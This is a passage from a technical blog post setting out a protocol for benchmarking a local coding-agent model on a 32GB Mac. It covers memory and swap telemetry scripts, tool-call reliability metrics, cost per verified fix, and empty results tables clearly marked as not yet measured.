sleep "$INTERVAL_S"
done
Notes that matter for correctness:
vm.swapusagereports megabytes with two decimals; the values are binary megabytes in practice, hence× 1048576above. Document the conversion you used — the difference between 10^6 and 2^20 is a 4.8% error that compounds.Swapins/Swapoutsappear invm_staton current macOS; older builds used different labels. Parse defensively and recordnullrather than0when a field is absent. A zero that means "not reported" is worse than a null.ps -o rss=is in kilobytes on macOS. Multiply by 1024. Don't reuse the page-size multiplier here — RSS is already in KB.
Track the model server, agent harness, and test-runner process tree while distinguishing resident memory, physical footprint where available, and system-wide memory state
Three quantities that are easy to conflate:
| Quantity | Command | Meaning | Gotcha |
|---|---|---|---|
| RSS | ps -o rss= | Pages currently in physical memory for that process | Shared pages counted once per process; summing double-counts |
| Physical footprint | footprint <pid> (if present) | Apple's accounting, closer to what the OS attributes | Slower; run at lower frequency |
| System-wide state | vm_stat, vm.swapusage | Free/active/wired/compressor pages and swap | Not attributable to a process |
footprint ships with the OS developer tools on recent macOS but isn't guaranteed present; check command -v footprint and record null if missing rather than substituting RSS under a different label.
Discover the process tree from the harness root so test runners and their children get included:
tree_pids() {
local root="$1" out="$root"
for _ in 1 2 3 4; do
local kids
kids=$(ps -Ao pid=,ppid= | awk -v parents="$out" '
BEGIN { n = split(parents, a, ","); for (i=1;i<=n;i++) p[a[i]]=1 }
p[$2] { printf "%s,", $1 }')
kids=${kids%,}
[ -z "$kids" ] && break
out="$out,$kids"
done
printf '%s' "$out"
}
Test-runner children live for seconds. A 1-second sampler will miss most of them; either sample at 250–500ms during test execution or accept that test-runner memory is under-observed and say so.
Explain why summing process RSS can double-count shared pages and why process memory does not necessarily capture all accelerator or shared allocations
RSS overcounts. When the model runtime and the harness both map the same shared library, its pages appear in both RSS values. Summing gives a number larger than physical memory actually consumed. System-wide vm_stat figures don't have that problem, but they can't be attributed to a process.
RSS can also undercount. Accelerator allocations made through Metal or a unified-memory allocator may not be fully reflected in the process's resident pages at the moment you sample, depending on how the runtime wires and reports memory. A moment when the GPU holds several GB of KV cache isn't necessarily a moment when RSS jumped by the same amount.
Practical rule: report both. Process-tree RSS (labelled an upper bound with double-counting) and system-wide free/wired/compressor/swap. Never report a single "memory used" figure — that number doesn't exist.
Sample startup, model loading, prompt processing, generation, tool execution, and verification; report the sampling interval and label recorded maxima as sampled peaks
Attach phase labels to the sampler so each sample is attributable:
phase window expected shape
idle before runtime start flat, low swap
load runtime start → first token large step in RSS, compressor may rise
prefill first token → first tool call KV cache growth with context
generate tool calls, patches oscillating, harness buffers grow
test_exec test runner spawned child RSS spike, short-lived
verify clean checkout + acceptance similar to test_exec
teardown processes exit RSS falls; swap may not
A peak recorded at 1 Hz is a sampled peak. The true peak between samples can be higher, sometimes much higher for sub-second test-runner spikes. Write "sampled peak at 500ms interval" on every table column, not "peak memory."
Report baseline and peak swap usage, end-of-run change, and swap-in or swap-out activity where available; explain why these describe different effects
Four swap facts that get conflated constantly:
- Baseline swap used —
swap_usedbefore the run. Non-zero on many machines that have been up for days; it's context, not contamination. - Peak swap used — maximum sampled
swap_used. - End-of-run delta —
end − baseline. Positive means net page-out; negative means pages were reclaimed during the run. - Swapin/swapout counters — cumulative event counts. A machine can show a large
swap_usedwith zero swapouts during the run (pages paged out hours ago, untouched since), or a smallswap_usedwith thousands of swapouts during the run (constant thrashing against a small swap file).
These describe different effects. swap_used is occupancy; swapout deltas are traffic. Traffic is what makes a run slow; occupancy is what makes the machine feel heavy afterwards. Report both, and never claim "no swapping" from an unchanged swap_used.
Show the telemetry schema and calculation script, account for sampler overhead, and label unavailable measurements rather than substituting estimates
Aggregation in JavaScript, with explicit handling for missing data:
// aggregate.mjs — read samples.jsonl, emit a summary with nulls preserved
const rows = readFileSync(process.argv[2], "utf8")
.split("\n").filter(Boolean).map((l) => JSON.parse(l));
if (rows.length === 0) throw new Error("no samples");
const maxOf = (key) => {
const vals = rows.map((r) => r[key]).filter((v) => Number.isFinite(v));
return vals.length ? Math.max(...vals) : null; // null, never 0, when absent
};
const baseline = rows[0];
const last = rows[rows.length - 1];
const summary = {
sample_count: rows.length,
interval_ms: estimateInterval(rows),
pagesize_bytes: rows[0].pagesize_bytes,
rss_peak_tree_bytes: maxOf("tree_rss_bytes"),
compressor_peak_bytes: maxOf("compressor_bytes"),
wired_peak_bytes: maxOf("wired_bytes"),
free_min_bytes: (() => {
const vals = rows.map((r) => r.free_bytes).filter(Number.isFinite);
return vals.length ? Math.min(...vals) : null;
})(),
swap_baseline_bytes: baseline.swap_used_bytes,
swap_peak_bytes: maxOf("swap_used_bytes"),
swap_end_bytes: last.swap_used_bytes,
swap_end_delta_bytes:
Number.isFinite(last.swap_used_bytes) && Number.isFinite(baseline.swap_used_bytes)
? last.swap_used_bytes - baseline.swap_used_bytes : null,
swapouts_delta: last.swapouts - baseline.swapouts,
swapins_delta: last.swapins - baseline.swapins,
unavailable: [],
};
for (const k of ["compressor_bytes", "swap_used_bytes", "swapouts"]) {
if (maxOf(k) === null) summary.unavailable.push(k);
}
console.log(JSON.stringify(summary, null, 2));
function estimateInterval(rows) {
if (rows.length < 2) return null;
const t0 = Date.parse(rows[0].t_utc), t1 = Date.parse(rows[1].t_utc);
return Number.isFinite(t0) && Number.isFinite(t1) ? t1 - t0 : null;
}
Sampler overhead: a shell loop that forks awk six times per sample costs real CPU. Measure it. Run the sampler with no model loaded for 60 seconds and record the mean CPU percentage. If it exceeds a few percent, rewrite the parsing as a single awk invocation or move the loop into Node. A 3% sampler overhead is a footnote; not knowing it is a confound.
Define explicit stop conditions for sustained memory pressure, insufficient free disk space, runaway processes, and repeated timeouts
Predeclared abort conditions, checked by the harness, not by a human watching a fan curve:
STOP-1 compressor_bytes > 0.35 × hw.memsize for 30s sustained
STOP-2 free disk on / < 20 GB (swap file growth + clean checkouts)
STOP-3 any process in the tree with RSS > 0.5 × hw.memsize
STOP-4 3 consecutive task timeouts in the same run
STOP-5 swapouts_delta > 200000 events during a single task
STOP-6 agent process tree alive > 2× task wall budget after SIGKILL
An aborted run is a data point, not a failed experiment — record aborted: STOP-N, the phase, and the sampled state at abort. Runs stopped because the machine was thrashing are exactly the observation the headline claim "runs on a 32GB Mac" needs to be tested against.
Measure Tool Reliability, Latency, and Cost per Verified JavaScript Fix
Define time to first generated token, first valid tool call, first patch, and independently verified completion; separate model startup from warm execution
Four timestamps, each answering a different question:
| Metric | Definition | Answers |
|---|---|---|
| TTFT | request sent → first token received | Is prefill tolerable? |
| TTVT | request sent → first call that passes L2+L3 | Does the model speak the protocol? |
| TTP | task start → first patch event | Does it act at all? |
| TTV (verified) | task start → independent acceptance pass | Does it work? |
A model can have excellent TTFT and terrible TTVT — it generates fluently and can't reliably emit a schema-conforming tool call. That combination is invisible in a throughput benchmark and fatal in an agent loop.
Cold-start numbers go in a separate block: model load time on a machine that hasn't run inference since boot is frequently 3–10× the warm load, and it's dominated by disk reads, not by the model.
Measure syntax-valid and schema-valid tool calls, rejected arguments, execution failures, redundant calls, recovery attempts, and budget exhaustion with clear denominators
Every rate needs a denominator written next to it:
tool_calls_total = all parsed call attempts
parse_ok_rate = parse_ok / tool_calls_total
schema_ok_rate = schema_ok / parse_ok
arg_valid_rate = arg_valid / schema_ok
exec_success_rate = exec_ok / arg_valid
redundant_call_rate = identical(name,args) repeated / arg_valid
recovery_rate = recovered_after_error / errors_seen
budget_exhausted_rate = runs hitting tool_call or wall budget / runs
Reporting "tool-call accuracy 92%" without saying 92% of what is the most common way these numbers get inflated. parse_ok_rate of 0.92 with schema_ok_rate of 0.71 is a 0.65 end-to-end reliability, and that's the number the agent loop actually experiences.
Report end-to-end verified-fix latency and failure counts before token throughput; identify whether runtime token counters include any internal looping work
Latency per verified fix is the only latency that maps to a workday. Tokens per second is an intermediate value that can rise while verified-fix latency falls — for example, if a shorter context makes generation faster but produces worse patches that need retries.
On a looped-transformer design, token counters deserve a specific question: does the runtime's reported output-token count reflect the final emitted tokens, or does it accumulate work across internal loop iterations? If the runtime only reports emitted tokens, tokens/second can look flat while wall-clock per fix doubles, because the extra work happens inside a single token. Until the runtime's counting semantics are documented, record the counter as tokens_out_reported and don't compute throughput from it alone. Use wall-clock per verified fix as the primary latency metric and treat token counters as secondary.
Use per-task results, medians, tail observations, paired configuration comparisons; show timeouts separately so successful runs do not hide failures
Aggregate means hide the two things that matter. Report per task, then median, then the tail.
Task Config Attempts Verified MedianTTV_ms MaxTTV_ms Timeouts
JS-01 A 3 3/3 41200 51800 0
JS-04 A 3 2/3 76500 213400 1
JS-10 A 3 0/3 — — 2
A mean over that row set is meaningless: the JS-10 timeouts aren't fast or slow, they're absent. Timeouts get their own column and are excluded from the median with the exclusion count stated.
Paired comparison is the only honest way to compare configurations: run task X under A and under B, compare within the task, then aggregate the per-task differences. Unpaired comparisons across different task mixes will produce a "winner" from task ordering alone.
Calculate cost per verified fix as total measured run cost, including unsuccessful attempts, divided by independently verified fixes
The formula, with every term defined:
cost_per_verified_fix =
(sum of all run costs, successful and failed)
/ (number of independently verified fixes)
run_cost = electricity_cost + amortization_cost + human_intervention_cost
Electricity needs a measurement or an explicit assumption. On macOS, sudo powermetrics --samplers smc -i 1000 reports package/CPU/GPU power but requires root and adds noise; treating it as optional and flagging the assumption is more honest than presenting an estimate as a measurement.
## worked example — ALL FIGURES BELOW ARE ASSUMPTIONS, NOT MEASUREMENTS
mean wall power during run = 38 W (assumed; replace with powermetrics)
run wall time per task = 180 s (assumed)
tasks attempted = 36 (12 tasks × 3 attempts)
verified fixes = 24
electricity price = 0.30 USD/kWh (assumed)
energy_kwh = 38 W × 180 s × 36 / 3600 / 1000 = 0.0684 kWh
electricity_cost = 0.0684 × 0.30 = 0.0205 USD
cost_per_verified_fix = 0.0205 / 24 = 0.00085 USD
That number looks absurdly small, and that's the point: for local inference, electricity is almost never the dominant cost. Human intervention is.
## the term that actually dominates
human_minutes = time spent triaging failures, restarting, re-running
cost_per_verified_fix_human = human_minutes × hourly_rate / verified_fixes
If a run needs 45 minutes of triage to land 24 fixes at a loaded rate of 60 USD/hour, that's 45 USD of human time against 0.02 USD of electricity — a 2000× ratio. Any "local is cheaper than API" argument that omits this term is comparing the wrong quantities. Amortization belongs in the same honesty bucket: dividing a 3000 USD machine over three years of continuous use attributes a real cost, but the allocation is a choice, so state the choice.
Zero verified fixes makes cost per fix undefined, not infinite-and-impressive. Report it as undefined (0 verified fixes) with the total spend shown; don't write a per-fix figure.
Separate electricity, optional hardware amortization, and human intervention; disclose wall-power measurement or estimation assumptions and report zero-success cost as undefined
Restated as a reporting contract, because the temptation to collapse these is strong:
- Electricity: measured (
powermetrics) or assumed (stated wattage, stated price, stated duration). Label which. - Amortization: optional, with the purchase price, useful-life, and utilization assumption written out.
- Human intervention: minutes measured by someone, or explicitly
not measured.
Three lines, one denominator. That's a cost table.
Test What Inkling 2 Mini's Looped Transformer Design Changes
Use official architecture documentation to establish what is reused across iterations, which execution settings are exposed, and what remains unknown
The supplied coverage describes a "looping" or "looped transformer" design but gives no mechanism. The questions that decide whether the design matters for a 32GB local deployment:
- What is reused across iterations? Shared weights with per-iteration state, or distinct parameter blocks? Shared weights mean parameter storage doesn't grow with loop count, but activation memory and compute do.
- Is loop count a runtime setting? If yes, it's a tunable with a measurable tradeoff. If it's baked into the artifact, no ablation is possible and the whole question collapses to "measure the one artifact you have."
- What does the KV cache look like across iterations? Cache growth per token determines how much of the 32GB budget survives a long context.
- Does the runtime report per-iteration timing? Without it, you can only observe end-to-end.
None of these are answerable from the supplied material. All four are answerable from a model card and an architecture document. That asymmetry is why the ledger has C-10 marked UNRESOLVED rather than guessed at.
Distinguish stored parameter count from inference work: repeated computation can change latency and working memory without proportionally changing weight storage
The confusion worth clearing up, because it's the mechanism by which "26.4B on a 32GB Mac" and "it's fast" get conflated:
- Stored parameters set the weight memory floor. 26.4B at 4-bit is ~13.2 GB regardless of how many times the forward pass traverses the layers.
- Inference work sets latency and activation memory. If a design iterates a block of layers N times, the compute per emitted token scales roughly with N for that block, while the weight footprint doesn't change at all.
The arithmetic that gets a model under 32GB tells you nothing about tokens per second, and a throughput number tells you nothing about whether it fits. Two independent questions; two independent measurements. A looping design is precisely the case where the two diverge most, which makes it a good stress test of whether a benchmark is measuring the right thing.
Run a loop-setting ablation only if the documented runtime exposes a supported control; otherwise limit conclusions to the tested artifact and configuration
Decision rule, predeclared:
IF runtime documentation lists a supported loop/iteration parameter
AND it can be set per request or per server start
THEN run the ablation: loop = min, default, max (documented values only)
ELSE
record "no documented control; single-artifact result"
AND do not report architecture-attributed differences
If the control exists but is undocumented — a config key discovered in a source file, a flag that appears in --help without a description — don't build a headline result on it. An undocumented knob can change semantics between runtime versions, and the result won't reproduce.
Hold tasks, quantization, context budget, agent tools, and stopping rules constant while varying one supported setting at a time
The invariant set for any ablation:
| Held constant | Why |
|---|---|
| Task suite and fixture commits | Otherwise you compare task difficulty |
| Quantization artifact | Different quantization is a different model for measurement purposes |
| Context budget | KV cache scales with it; memory peaks shift |
| Tool set and schemas | Tool-call reliability is schema-dependent |
| Output token cap per call | Termination behaviour changes with the cap |
| Stop conditions and budgets | Aborted runs must be attributable |
| Sampler interval | Sampled peaks at different rates are not comparable |
| Machine state (settling check) | Baseline swap differs run to run |
One variable moves. Everything else is pinned in run-manifest.json and diffed between runs before the results are compared.
Compare verified fixes, elapsed time, tool-call failures, sampled memory peaks, and swap activity; distinguish measured associations from architectural explanations
The dependent variables, in the order they should be reported:
- Verified fixes (count, out of 36 per configuration)
- Elapsed time per verified fix (median, tail)
- Tool-call failure counts by layer (L1–L6)
- Sampled memory peak (process-tree RSS and system-wide, at stated interval)
- Swap: baseline, peak, end-delta, swapin/swapout deltas
If loop count = 2 and loop count = 4 produce 20 and 26 verified fixes respectively with identical memory peaks, that is a measured association between loop count and verified-fix rate at this configuration. It is not evidence that the loop mechanism improves reasoning — the extra compute could be buying longer effective deliberation, or it could be interacting with the output token cap in a way that changes how often the agent gives up. Calling the second thing from the first data point is the error this section exists to prevent.
Explain why a different quantization or runtime introduces confounders and why parameter count alone cannot establish a performance advantage
Two independent confounders sit between any two "26.4B model" results:
Quantization. A 4-bit artifact and an 8-bit artifact of the same weights produce different outputs. A lower verified-fix rate on the 4-bit artifact is a statement about the artifact, not about the architecture. Since the 32GB constraint likely requires aggressive quantization, this confounder is load-bearing for the entire question — which means the artifact identifier belongs in every results table cell, not in an appendix.
Runtime. KV cache implementation, attention kernels, batching, and context handling all live in the runtime. Two runtimes loading identical weights can differ by 2× in memory peak at the same context length. "It runs on 32GB" is a claim about a (model, quant, runtime, context) tuple; drop any element and the claim becomes unfalsifiable.
Parameter count is not a performance metric at all. It's a storage metric. A 26.4B model with heavy looping can require more inference work per token than a 40B model that runs each layer once. Comparing parameter counts across architectures to predict speed is comparing file sizes to predict render time.
Present Results Beside the Evidence That Supports Them
Publish a configuration table linking every result to its model revision, quantization, runtime, hardware manifest, and agent settings
Every results row must be traceable to a configuration row. The table below is the empty structure; the cells stay unfilled until runs complete.
| Config | Model rev | Quant | Runtime | Context | Loop setting | Harness | Hardware | Status |
|---|---|---|---|---|---|---|---|---|
| A | MODEL_REV_A | QUANT_A | RT_VER_A | 8K | default | HARNESS_SHA | env-manifest.txt#sha | not measured |
| B | MODEL_REV_A | QUANT_A | RT_VER_A | 16K | default | HARNESS_SHA | same | not measured |
| C | MODEL_REV_A | QUANT_A | RT_VER_A | 8K | alt (if exposed) | HARNESS_SHA | same | not measured |
The empty cells are the deliverable at this stage. Filling them with plausible numbers would convert a protocol into a fabrication.
Publish a task-level results table with verified status, elapsed time, tool-call counts, sampled memory peak, swap measurements, retries, and failure reason
Column definitions first, then (empty) data:
| Column | Unit | Source |
|---|---|---|
| Verified | pass / fail | verify.sh exit code |
| Attempt | 1–3 | first attempt that passed, or — |
| TTV_ms | ms | patch → acceptance pass, monotonic |
| ToolCalls | count | budget events |
| SampledRSSPeak | bytes | telemetry, stated interval |
| SwapEndDelta | bytes | telemetry |
| SwapoutsΔ | count | telemetry |
| FailLayer | L1–L6 | triage log |
Task Cfg Verified Attempt TTV_ms ToolCalls SampledRSSPeak SwapEndDelta SwapoutsΔ FailLayer
JS-01 A not measured —————————————————————————————————————————————————————
JS-02 A not measured —————————————————————————————————————————————————————
...
JS-12 A not measured —————————————————————————————————————————————————————
Walk through one verified patch with its failing reproduction, final diff, independent test output, and relevant event timestamps
Illustrative trace structure, using the JS-04 fixture from §4.4. No Inkling 2 Mini output has been produced.
seq t_mono_ms type detail
1 12.4 request ctx_in=1841, tools=4, tools_hash=ab12…
2 2408.9 response_raw tokens_out=189, finish=stop, wall_ms=2396
3 2411.2 tool_call_parsed read_file {path:"src/paginate.js"} schema_ok=true
4 2413.0 tool_result ok=true, bytes=214
5 11022.7 response_raw tokens_out=311, finish=stop
6 11024.0 tool_call_parsed apply_patch {diff:"…"} schema_ok=true
7 11031.5 patch files=1, +1/-1
8 11040.2 tool_call_parsed run_tests {suite:"node:test:unit"} schema_ok=true
9 11290.8 test_run exit=0, passed=1, failed=0
10 11299.1 budget tool_calls_used=3, wall_ms_used=11286
The diff a correct attempt would produce:
--- a/src/paginate.js
+++ b/src/paginate.js
@@ -1,4 +1,5 @@
export function paginate(items, page, perPage) {
- const start = page * perPage;
+ const start = (page - 1) * perPage;
+ if (start < 0 || start >= items.length) return [];
return items.slice(start, start + perPage);
}
Independent verification in the isolated copy:
$ ./verify.sh JS-04 /tmp/agentws/JS-04-1
ok 1 - page 1 returns first slice
ok 2 - page 2 returns second slice
ok 3 - last page returns remainder
ok 4 - out-of-range page returns []
RESULT: pass
What this trace demonstrates about the harness, rather than about the model: the patch is applied by a tool, the unit suite the agent ran is not the acceptance suite, and the pass verdict comes from a process the agent never touched. Any of those three could be wrong in a benchmark that just asks the model "did you fix it?"
Walk through a representative failure or unstable task with its frequency and conditions, separating an invalid tool call from a wrong fix or resource limit
Illustrative failure shape, again not an observed result — this is what the triage entry should look like:
Task: JS-10 (race between close and data events)
Config A, attempts 1-3: 0/3 verified
Attempt 1 L4 patch applied; unit suite passed; acceptance timed out at 120s
→ likely a hanging stream in the agent's implementation
Attempt 2 L2 tool call emitted as prose-fenced JSON inside a text block;
parser rejected; harness retried once; then patched anyway
→ tool-call format issue, not a reasoning issue
Attempt 3 L6 aborted at STOP-1 (compressor > 35% for 30s)
→ memory pressure, possibly from an unbounded retry loop
Three attempts, three different layers. Reporting this as "the model scored 0/3 on JS-10" buries the fact that only attempt 1 was a model-quality failure. Frequency and conditions matter as much as the count: if L2 failures cluster on the fifth and later turns of a conversation, the fix is context management, not a different model.
Maintain separate findings for locally observed behavior, corroborated source claims, architectural inference, and unanswered questions; leave results unfilled until measured
Four buckets, never merged in prose:
Locally observed — empty until runs exist. Anything here cites a run_id.
Corroborated source claims — the release window, publisher, and model name, corroborated across four secondary outlets; parameter count and 32GB claim from a single headline each.
Architectural inference — that a looping design decouples weight storage from inference work (§8.2) is a general property of repeated computation, not a claim about this specific model. That a 4-bit 26.4B artifact leaves roughly 13–14GB of a ~27GB effective budget for everything else (§3.3) follows from the reported parameter count and typical quantization overhead, and is arithmetic rather than measurement.
Unanswered — everything in the ledger marked UNRESOLVED, plus the entire quantitative half of this post.
Decide Whether Inkling 2 Mini Is Practical on a 32GB Mac
Apply predeclared acceptance criteria for verified-fix rate, latency, memory headroom, swap behavior, and unattended tool reliability
Criteria set before data collection, so the conclusion can't be reverse-engineered:
| Dimension | Bar for "practical" | Bar for "marginal" | Bar for "not practical" |
|---|---|---|---|
| First-attempt verified | ≥ 8/12 | 5–7/12 | ≤ 4/12 |
| Eventually verified (≤3 attempts) | ≥ 10/12 | 7–9/12 | ≤ 6/12 |
| Median TTV | ≤ 120 s | 120–300 s | > 300 s |
| Min free memory headroom | ≥ 3 GB sustained | 1–3 GB | < 1 GB |
| Swapouts during runs | ~0 | occasional, non-sustained | sustained during every run |
| Runaway/completed ratio | 0 runaway | 1–2, recovered | repeated runs requiring manual intervention |
These bars are defensible for a personal local agent and would be far too lenient for a team dependency. State which use case the verdict addresses, because "practical" means very different things on a solo developer's laptop versus a CI machine.
Map observed bottlenecks to specific mitigations: shorter context, bounded tool output, smaller generation budgets, supported quantization changes, or lower concurrency
The mitigation table is worth writing before the bottlenecks are known, because it forces each complaint to name a knob:
| Symptom | Mitigation | Expected effect | Risk |
|---|---|---|---|
| Peak RSS near limit | Reduce context to 8K | KV cache shrinks roughly linearly | More truncation, worse multi-file tasks |
| Harness RSS growth over a run | Cap tool output at 32KB, summarise old turns | Slower harness growth | Model loses earlier context |
| Long tails on TTV | Lower max_output_tokens per call | Fewer runaway generations | More incomplete reasoning |
| High tool-call failure rate | Stricter schema, smaller tool set, format examples | Higher schema_ok_rate | More prompt tokens |
| Sustained swapouts | Smaller quantization, if the publisher ships one | Lower weight floor | Quality change — must re-run suite |
| Timeouts | Raise wall budget OR reduce task scope | Fewer aborts | Benchmarks longer; may mask the real issue |
The last risk column is the one that bites. Every mitigation trades a memory or latency number for a capability, and a post that reports the improved number without the re-run is reporting half an experiment.
Re-run the same tasks after each mitigation and show whether reduced memory pressure actually improves verified completion rather than merely lowering a memory counter
This is the step that distinguishes engineering from tuning. A mitigation that drops sampled peak from 26 GB to 22 GB and drops verified fixes from 8/12 to 6/12 has made the configuration worse for the question being asked. The comparison is paired, same tasks, same fixture commits:
Config Mitigation SampledPeak SwapoutsΔ FirstAttemptVerified MedianTTV
A none (baseline) not measured ————————————————
A' context 16K → 8K not measured ————————————————
A'' + tool output cap 32KB not measured ————————————————
If A'' shows lower memory and equal or better verified rate, that's a genuine win. If it shows lower memory and a worse rate, the honest headline is "the memory problem was a capability subsidy."
Conclude conditionally and narrowly: distinguish loading successfully, completing small tasks, and sustaining a useful agent workload on the tested Mac
Three distinct verdicts, and the headline claim collapses them:
- Loads. Weights fit in unified memory at a stated quantization and context length with a stated amount of headroom. This is the claim the headline makes, and the easiest one to satisfy.
- Completes small tasks. High verified rate on bounded, single-file bugs with short contexts and generous budgets. Meaningfully harder, and where most local setups actually land.
- Sustains a workload. Consistent verified rate across 36 runs with no aborts, stable swap, bounded harness growth, and unattended tool-call reliability. This is the claim that matters for daily use, and the one no headline is making.
My expectation, stated as inference rather than finding: a 26.4B 4-bit artifact on 32GB will likely clear (1) comfortably, will likely clear (2) at 8K context with a disciplined harness, and is an open question at (3) — where the failure mode I'd bet on is harness memory growth and tool-call schema reliability under longer conversations, not model weights. That bet is falsifiable, and the protocol above falsifies it.
Until someone runs it and fills in the tables, "puts a 26.4B coding model on a 32GB Mac" remains a statement about a download completing, not about an agent shipping fixes.
Inkling 2 Mini Sources and Reproduction Artifacts
Link verified official release, model-card, architecture, and runtime documentation; retain the supplied news reports as attributed secondary context
Primary documentation: not located in the supplied material. No model card, release announcement, architecture document, license, or runtime specification was provided with this topic. Those are the first four links that should appear in this section once they exist; their absence is recorded in the claim ledger as C-08 through C-10.
The supplied secondary coverage, retained as attributed context only:
- Kingy AI, 2026-11-21 — "Inkling 2 Mini puts a 26.4B coding model on a 32GB Mac" (Google News item) — source of the parameter count and Mac claim.
- Superpower Daily, 2026-11-21 — "Thinking Machines releases Inkling 2 Mini with open weights and a looping design" (Google News item) — source of the open-weights and looping-design descriptions.
- news.lavx.hu, 2026-11-20 — "Thinking Machines Lab Releases Inkling 2 Mini, a Looped Transformer for Local Agentic Coding" (Google News item) — source of the "local agentic coding" framing.
- Vals AI, 2026-11-20 — "Inkling 2 Mini Benchmarks, Cost and Capabilities" (Google News item) — benchmark and cost coverage; method not described in the snippet.
Treat all four as unverified secondary reporting. None is a substitute for a model card.
Include relevant official macOS measurement references and Node.js testing documentation where they support the procedures
- Node.js test runner (
node --test, TAP reporter,--test-reporter): nodejs.org/api/test.html - Node.js
child_process(spawn,detached, stdio and kill semantics): nodejs.org/api/child_process.html - Node.js
performance.now()and the monotonic clock: nodejs.org/api/perf_hooks.html - Local man pages for the macOS tools used above:
man vm_stat,man sysctl,man ps,man footprint,man powermetrics. Read the local pages for your exact macOS build rather than a blog post, including this one — field labels invm_statoutput have changed across releases.
Publish the benchmark manifest, fixture commits, harness scripts, sanitized traces, telemetry, and aggregation commands, with omissions and reproduction limits documented
The artifact set that makes this reproducible, in the order someone would actually use it:
bench/
claims.lock # §2.5 identifiers, checksums, pinned versions
env-manifest.txt # §3.1 output for the test machine
run-manifest.json # §3.4, emitted per run
tasks/*.yaml # §4.3 task definitions
fixtures.commit # pinned fixture repo commit
harness/
tools.mjs # §4.2 validated tool implementations
events.mjs # §4.5 JSONL event schema
aggregate.mjs # §5.6 telemetry summary
sample-mem.sh # §5.1 sampler
traces/<run_id>.jsonl # sanitized: no prompts containing secrets
results/
tasks.csv # §7.2 task-level table
configs.csv # §7.1 configuration table
verify.sh # §4.5 independent verification
Documented omissions and reproduction limits — write these into the repo README, not a footnote:
- No verified primary documentation existed at time of writing; model identifiers in
claims.lockare placeholders and must be replaced from official sources. - Only one machine architecture tested; Apple Silicon memory behaviour doesn't transfer to discrete-GPU systems.
- Sample of 12 tasks × 3 attempts supports coarse comparisons only; differences under ~15 percentage points in verified rate are within noise.
- Seeds may be unsupported or ignored by the runtime; runs aren't bit-reproducible, only protocol-reproducible.
- Traces are sanitized; raw traces may contain repository content and are not published.
- Sampled peaks are lower bounds on true peaks at the stated interval.
- The loop-setting ablation runs only if the runtime documents a supported control; otherwise results describe a single artifact.
A benchmark that documents what it did not measure is worth more than one that reports a clean number with no provenance — which is exactly the trade the original headline made, and exactly the trade this protocol exists to undo.
More posts

Using AbortSignal.any to Compose Timeout and Cancellation Signals in fetch
Learn how to use AbortSignal.any to combine timeout and user cancellation signals in fetch requests for more robust async operations.

Testing Edge Prompt API Rewrites in JavaScript: Capability, Latency, Quality, and Fallback
A deep technical walkthrough of testing Microsoft Edge's Prompt API for JavaScript text rewrites, covering capability detection, latency measurement, output quality evaluation, and fallback strategies.

An Out-of-Band Incident Channel for Teams Dependent on Microsoft 365 and N-able
A practical walkthrough for building an out-of-band incident channel that keeps teams communicating when Microsoft 365 or N-able disruptions take primary collaboration and alerting systems offline.
Loading comments…